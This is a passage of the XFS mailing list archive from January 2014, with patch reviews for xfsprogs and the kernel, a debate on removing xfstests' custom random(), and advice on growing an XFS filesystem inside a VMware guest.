Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4722B7F3F for ; Tue, 7 Jan 2014 01:28:35 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2FAEA8F8033 for ; Mon, 6 Jan 2014 23:28:32 -0800 (PST) X-ASG-Debug-ID: 1389079710-04bdf00fe254f890001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id yOpHBRyUHToDxSPI (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 06 Jan 2014 23:28:30 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id s077STJ7026683 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Jan 2014 07:28:29 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s077SS1O001709 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 7 Jan 2014 07:28:29 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by userz7022.oracle.com (8.14.5+Sun/8.14.4) with ESMTP id s077SSxD001699; Tue, 7 Jan 2014 07:28:28 GMT Received: from [192.168.1.106] (/123.119.105.155) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 06 Jan 2014 23:28:28 -0800 Message-ID: <52CBAC99.7020400@oracle.com> Date: Tue, 07 Jan 2014 15:28:25 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH] xfsprogs/io: set argmax to 1 for imap command References: <1389021866-10793-1-git-send-email-bfoster@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs/io: set argmax to 1 for imap command In-Reply-To: <1389021866-10793-1-git-send-email-bfoster@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1389079710 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143820 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/06 2014 23:24 PM, Brian Foster wrote: > The imap command supports an optional argument to specify the > number of inode records to capture per ioctl(), but argmax is > currently set to 0. This leads to an error if an argument is > provided on the command line. Set argmax to 1 to support the > optional argument. > > Signed-off-by: Brian Foster > --- > io/imap.c | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > > diff --git a/io/imap.c b/io/imap.c > index 0a4f14e..4f3f883 100644 > --- a/io/imap.c > +++ b/io/imap.c > @@ -67,7 +67,7 @@ imap_init(void) > imap_cmd.name = "imap"; > imap_cmd.cfunc = imap_f; > imap_cmd.argmin = 0; > - imap_cmd.argmax = 0; > + imap_cmd.argmax = 1; > imap_cmd.args = _("[nentries]"); > imap_cmd.flags = CMD_NOMAP_OK; > imap_cmd.oneline = _("inode map for filesystem of current file"); > With this fix, the command behaviour is consistent with the help menu, and the optional argument is useful to extend our test coverage. Hence if no other objections, this patch looks good to me. Reviewed-by: Jie Liu Thanks, -Jeff From chuansheng.liu@intel.com Tue Jan 7 02:48:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 728727F3F for ; Tue, 7 Jan 2014 02:48:33 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 60307304081 for ; Tue, 7 Jan 2014 00:48:33 -0800 (PST) X-ASG-Debug-ID: 1389084506-04cbb04167c59140001-NocioJ Received: from mga02.intel.com (mga02.intel.com [134.134.136.20]) by cuda.sgi.com with ESMTP id zlt9J5Hf7NMUh6Cu for ; Tue, 07 Jan 2014 00:48:27 -0800 (PST) X-Barracuda-Envelope-From: chuansheng.liu@intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.20 X-Barracuda-IPDD: Level2 [intel.com/134.134.136.20] Received: from orsmga002.jf.intel.com ([10.7.209.21]) by orsmga101.jf.intel.com with ESMTP; 07 Jan 2014 00:48:26 -0800 X-Barracuda-IPDD: Level2 [intel.com/134.134.136.20] X-Barracuda-IPDD: Level2 [intel.com/134.134.136.20] X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="4.95,617,1384329600"; d="scan'208";a="462791457" Received: from cliu38-desktop-build.sh.intel.com (HELO [10.239.67.204]) ([10.239.67.204]) by orsmga002.jf.intel.com with ESMTP; 07 Jan 2014 00:48:24 -0800 Subject: [PATCH 2/3] xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() From: Chuansheng Liu X-ASG-Orig-Subj: [PATCH 2/3] xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() To: dchinner@fromorbit.com, bpm@sgi.com Cc: xfs@oss.sgi.com, linux-kernel@vger.kernel.org, chuansheng.liu@intel.com In-Reply-To: <1389084605.3650.66.camel@cliu38-desktop-build> References: <1389084605.3650.66.camel@cliu38-desktop-build> Content-Type: text/plain; charset="UTF-8" Date: Tue, 07 Jan 2014 16:53:34 +0800 Message-ID: <1389084814.3650.70.camel@cliu38-desktop-build> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mga02.intel.com[134.134.136.20] X-Barracuda-Start-Time: 1389084507 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 In case CONFIG_DEBUG_OBJECTS_WORK is defined, it is needed to call destroy_work_on_stack() which frees the debug object to pair with INIT_WORK_ONSTACK(). Signed-off-by: Liu, Chuansheng --- fs/xfs/xfs_bmap_util.c | 1 + 1 file changed, 1 insertion(+) diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 1394106..82e0dab 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -287,6 +287,7 @@ xfs_bmapi_allocate( INIT_WORK_ONSTACK(&args->work, xfs_bmapi_allocate_worker); queue_work(xfs_alloc_wq, &args->work); wait_for_completion(&done); + destroy_work_on_stack(&args->work); return args->result; } -- 1.7.9.5 From jeff.liu@oracle.com Tue Jan 7 05:21:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6B6907F3F for ; Tue, 7 Jan 2014 05:21:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id EDD36AC003 for ; Tue, 7 Jan 2014 03:21:16 -0800 (PST) X-ASG-Debug-ID: 1389093675-04cb6c537bc64d70001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id DzY36AnNN6Zp3uLu (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Tue, 07 Jan 2014 03:21:15 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id s07BLBah015009 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Jan 2014 11:21:12 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s07BLANh016340 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 7 Jan 2014 11:21:10 GMT Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s07BL9DM000120; Tue, 7 Jan 2014 11:21:09 GMT Received: from [192.168.1.106] (/123.119.105.155) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 07 Jan 2014 03:21:09 -0800 Message-ID: <52CBE321.4050906@oracle.com> Date: Tue, 07 Jan 2014 19:21:05 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Chuansheng Liu , dchinner@fromorbit.com, bpm@sgi.com CC: linux-kernel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 2/3] xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() References: <1389084605.3650.66.camel@cliu38-desktop-build> <1389084814.3650.70.camel@cliu38-desktop-build> X-ASG-Orig-Subj: Re: [PATCH 2/3] xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() In-Reply-To: <1389084814.3650.70.camel@cliu38-desktop-build> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1389093675 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143825 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Chuansheng, On 01/07 2014 16:53 PM, Chuansheng Liu wrote: > > In case CONFIG_DEBUG_OBJECTS_WORK is defined, it is needed to > call destroy_work_on_stack() which frees the debug object to pair > with INIT_WORK_ONSTACK(). > > Signed-off-by: Liu, Chuansheng > --- > fs/xfs/xfs_bmap_util.c | 1 + > 1 file changed, 1 insertion(+) > > diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c > index 1394106..82e0dab 100644 > --- a/fs/xfs/xfs_bmap_util.c > +++ b/fs/xfs/xfs_bmap_util.c > @@ -287,6 +287,7 @@ xfs_bmapi_allocate( > INIT_WORK_ONSTACK(&args->work, xfs_bmapi_allocate_worker); > queue_work(xfs_alloc_wq, &args->work); > wait_for_completion(&done); > + destroy_work_on_stack(&args->work); > return args->result; > } Thanks for your patch and it work fine for my testing. I missed this in an old commit: [ 3b876c8f2a xfs: fix debug_object WARN at xfs_alloc_vextent() ] Just out of curious, do you notice memory leaks or other hints which help you finding out this problem? Thanks, -Jeff From dfitzger@nvrinc.com Tue Jan 7 09:22:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 40D2D7F3F for ; Tue, 7 Jan 2014 09:22:56 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 31B208F8035 for ; Tue, 7 Jan 2014 07:22:53 -0800 (PST) X-ASG-Debug-ID: 1389108172-04cbb04169c66150001-NocioJ Received: from mail.nvrinc.com (mail.nvrinc.com [204.96.165.75]) by cuda.sgi.com with ESMTP id cssTyIktF8GdOoa4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 07 Jan 2014 07:22:52 -0800 (PST) X-Barracuda-Envelope-From: dfitzger@nvrinc.com X-Barracuda-Apparent-Source-IP: 204.96.165.75 Received: from pps.filterd (vmdcdmzgw03prd.dmz.net [127.0.0.1]) by vmdcdmzgw03prd.dmz.net (8.14.5/8.14.5) with SMTP id s07FIgkm016096 for ; Tue, 7 Jan 2014 10:22:51 -0500 Received: from dcex02prd.nvrinc.com (dcex02prd.nvrinc.com [10.6.1.11]) by vmdcdmzgw03prd.dmz.net with ESMTP id 1h82st9yef-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT) for ; Tue, 07 Jan 2014 10:22:51 -0500 Received: from DCEX01PRD.nvrinc.com ([fe80::d506:da67:2269:43c7]) by DCEX02PRD.nvrinc.com ([fe80::401f:5721:921a:b2eb%19]) with mapi id 14.02.0283.003; Tue, 7 Jan 2014 10:22:51 -0500 From: "Fitzgerald, Dan" To: "xfs@oss.sgi.com" Subject: RE: noob question Thread-Topic: noob question X-ASG-Orig-Subj: RE: noob question Thread-Index: Ac8LKkeBmPU3Ah8HQWG9fouoybaarQAS6juAABEz27A= Date: Tue, 7 Jan 2014 15:22:50 +0000 Message-ID: <15F45A6CEAEFE340A264C3346D71EF04C4CA30@DCEX01PRD.nvrinc.com> References: <15F45A6CEAEFE340A264C3346D71EF04C4C339@DCEX01PRD.nvrinc.com> <52CB5F63.3040204@hardwarefreak.com> In-Reply-To: <52CB5F63.3040204@hardwarefreak.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.5.1.30] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-01-07_06:2014-01-07,2014-01-07,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 kscore.is_bulkscore=5.55111512312578e-17 kscore.compositescore=0 circleOfTrustscore=0 compositescore=0.996969533494839 urlsuspect_oldscore=0.996969533494839 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=0 rbsscore=0.996969533494839 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=-1122 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1401070083 X-Barracuda-Connect: mail.nvrinc.com[204.96.165.75] X-Barracuda-Start-Time: 1389108172 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143830 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Yeah, I walked into this one. Today's my 7th day at a new job, came into t= his with it already built, and now the business wants to expand the size of= the file system that will house pictures served up on the web. I'm pretty = sure I wouldn't have chosen xfs for this app; overkill. It is a VMWare VM, so we do have snapshots. First thing I did when I inheri= ted this was to test those. Everyone here is calling this thing an "appliance", and the version of Debi= an doesn't have parted or gdisk. I'm thinking I'll go into the meeting I have on this in 40 minutes and ask = for a vendor contact, and work with them to rebuild the whole thing with be= tter planning. -----Original Message----- From: Stan Hoeppner [mailto:stan@hardwarefreak.com] Sent: Monday, January 06, 2014 8:59 PM To: Fitzgerald, Dan; xfs@oss.sgi.com Subject: Re: noob question On 1/6/2014 4:11 PM, Fitzgerald, Dan wrote: > I had our VMWare admin extend the file system on which /space is > mounted (/dev/sda8). Repeat at least three times: Storage requires planning. xfs_growfs only works on contiguous LBA sectors. The free space to be grow= n into must begin one LBA sector after the last LBA sector of the current X= FS filesystem. If XFS resides on a partition, then the partition itself mu= st be expanded into the free space before XFS can be grown into the newly e= xpanded partition. This seems to be your situation. Resizing partitions i= s not a fun exercise, and if not done properly you can lose everything, lit= erally. If a block device is directly formatted with XFS things are easy. Simply expand the block device capacity, then run xfs_growfs. Because of the limitations up above, those wishing to add capacity using pa= rtitions, in an ad hoc manner, such as you seem to desire here, put their b= lock device space in LVM volumes. LVM can create a linear LBA address spac= e from little pieces of capacity strewn all over the place on many differen= t storage devices, regardless of their native LBA addressing. I don't real= ly care for this method either. I've worked with ESX and bare metal hosts on FC SANs fairly extensively. For each of my guests/hosts I assign a 10GB LUN for the guest's boot/root = filesystems, and a separate LUN(s), sized appropriately, for its data volum= e(s). I directly format each LUN, no partitions. In the event I need to e= xpand a LUN to increase capacity, xfs_growfs simply works, the way it shoul= d, with no hoop jumping. If you need PIT snapshot capability you must use LVM, unless your storage h= as a PIT snapshot facility, or you use VMware's snapshot utility. -- Stan _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _= _ _ _ _ _ _ _ _ _ _ _ _ This email is confidential and intended solely for= the use of the individual to whom it is addressed. If you have received th= is email in error please contact the sender and be advised that any use, di= ssemination, forwarding, printing, or copying of this email is strictly pro= hibited. The terms for the purchase and sale of any property referenced in = this email shall be solely determined by a ratified Purchase Agreement. Any= information provided in this email, including but not limited to, pricing,= financing, features of a property and/or community, is not to be construed= as the basis of the bargain for the purchase and sale of any such property= . From BATV+ff767c57dfa6e3dfa354+3789+infradead.org+hch@bombadil.srs.infradead.org Tue Jan 7 09:53:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DC5AF7F3F for ; Tue, 7 Jan 2014 09:53:38 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C5A0E304077 for ; Tue, 7 Jan 2014 07:53:37 -0800 (PST) X-ASG-Debug-ID: 1389110016-04cbb04168c673f0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id WwLCC0r64qXAz0Yw (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 07 Jan 2014 07:53:36 -0800 (PST) X-Barracuda-Envelope-From: BATV+ff767c57dfa6e3dfa354+3789+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1W0Yy4-0006He-T5; Tue, 07 Jan 2014 15:53:24 +0000 Date: Tue, 7 Jan 2014 07:53:24 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: Re: [PATCH 00/21] Consolidate Posix ACL implementation V3 Message-ID: <20140107155324.GA24113@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 00/21] Consolidate Posix ACL implementation V3 References: <20131220131635.650823732@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131220131635.650823732@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1389110016 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143831 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 On Fri, Dec 20, 2013 at 05:16:35AM -0800, Christoph Hellwig wrote: > This series consolidates the various cut'n'pasted Posix ACL implementations > into a single common one based on the ->get_acl method Linus added a while > ago and a new ->set_acl counterpart. > > This remove ~1800 lines of code and provides a single place to implement > various nasty little gems of the semantics. Any more comments? Al, what's the best way to make sure this doesn't miss 3.14? From bpm@sgi.com Tue Jan 7 13:34:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E69C17F3F for ; Tue, 7 Jan 2014 13:34:03 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8CA7C304093; Tue, 7 Jan 2014 11:34:00 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 29B774266DC; Tue, 7 Jan 2014 13:34:00 -0600 (CST) Date: Tue, 7 Jan 2014 13:34:00 -0600 From: Ben Myers To: Jeff Liu , Chuansheng Liu Cc: dchinner@fromorbit.com, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 2/3] xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() Message-ID: <20140107193400.GC1935@sgi.com> References: <1389084605.3650.66.camel@cliu38-desktop-build> <1389084814.3650.70.camel@cliu38-desktop-build> <52CBE321.4050906@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52CBE321.4050906@oracle.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Jan 07, 2014 at 07:21:05PM +0800, Jeff Liu wrote: > Hi Chuansheng, > > On 01/07 2014 16:53 PM, Chuansheng Liu wrote: > > > > In case CONFIG_DEBUG_OBJECTS_WORK is defined, it is needed to > > call destroy_work_on_stack() which frees the debug object to pair > > with INIT_WORK_ONSTACK(). > > > > Signed-off-by: Liu, Chuansheng > > --- > > fs/xfs/xfs_bmap_util.c | 1 + > > 1 file changed, 1 insertion(+) > > > > diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c > > index 1394106..82e0dab 100644 > > --- a/fs/xfs/xfs_bmap_util.c > > +++ b/fs/xfs/xfs_bmap_util.c > > @@ -287,6 +287,7 @@ xfs_bmapi_allocate( > > INIT_WORK_ONSTACK(&args->work, xfs_bmapi_allocate_worker); > > queue_work(xfs_alloc_wq, &args->work); > > wait_for_completion(&done); > > + destroy_work_on_stack(&args->work); > > return args->result; > > } > > Thanks for your patch and it work fine for my testing. I missed this in an > old commit: [ 3b876c8f2a xfs: fix debug_object WARN at xfs_alloc_vextent() ] Looks good to me too. Reviewed-by: Ben Myers From bpm@sgi.com Tue Jan 7 14:01:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6C8207F3F for ; Tue, 7 Jan 2014 14:01:39 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id CE44EAC003; Tue, 7 Jan 2014 12:01:35 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 8BDB64266DC; Tue, 7 Jan 2014 14:01:35 -0600 (CST) Date: Tue, 7 Jan 2014 14:01:35 -0600 From: Ben Myers To: Eric Sandeen , Josef Bacik Cc: linux-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: kill lib/random.c Message-ID: <20140107200135.GD1935@sgi.com> References: <1389038323-8304-1-git-send-email-jbacik@fb.com> <52CB20ED.1010705@redhat.com> <52CB2336.2060009@fb.com> <52CB2452.70507@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52CB2452.70507@redhat.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Gents, On Mon, Jan 06, 2014 at 03:46:58PM -0600, Eric Sandeen wrote: > On 1/6/14, 3:42 PM, Josef Bacik wrote: > > > > On 01/06/2014 04:32 PM, Eric Sandeen wrote: > >> On 1/6/14, 1:58 PM, Josef Bacik wrote: > >>> I was trying to reproduce something with fsx and I noticed that no matter what > >>> seed I set I was getting the same file. Come to find out we are overloading > >>> random() with our own custom horribleness for some unknown reason. So nuke the > >>> damn thing from orbit and rely on glibc's random(). With this fix the -S option > >>> actually does something with fsx. Thanks, > >> Hm, old comments seem to indicate that this was done to make random > >> behave the same on different architectures (i.e. same result from same seed, > >> I guess?) I . . . don't know if that is true of glibc's random(), is it? > >> > >> I'd like to dig into the history just a bit before we yank this, just to > >> be sure. > > > > I think that if we need the output to match based on a predictable > > random() output then we've lost already. We shouldn't be checking for > > specific output (like inode numbers or sizes etc) that are dependant > > on random()'s behaviour, and if we are we need to fix those tests. So > > even if that is why it was put in place originally I'd say it is high > > time we ripped it out and fixed up any tests that rely on this > > behaviour. Thanks, > > Yeah, you're probably right. And the ancient xfstests history seems to > be lost in the mists of time, at least as far as I can see. So I'm ok > with this but let's let Dave & SGI chime in too just to be certain. I did not have success locating the history prior to what we have posted on oss. I agree that it was likely added so that tests that expose output from random into golden output files will have the same results across arches. Maybe this is still of concern for folks who use a different c library with the kernel. Looks there are quite a few callers. IMO if we're going to remove this we should fix the tests first. -Ben From sandeen@sandeen.net Tue Jan 7 14:10:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E12807F54 for ; Tue, 7 Jan 2014 14:10:18 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 841E2AC001 for ; Tue, 7 Jan 2014 12:10:18 -0800 (PST) X-ASG-Debug-ID: 1389125416-04bdf0568e129ec0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id uAHBGgrf0LS1Dael for ; Tue, 07 Jan 2014 12:10:16 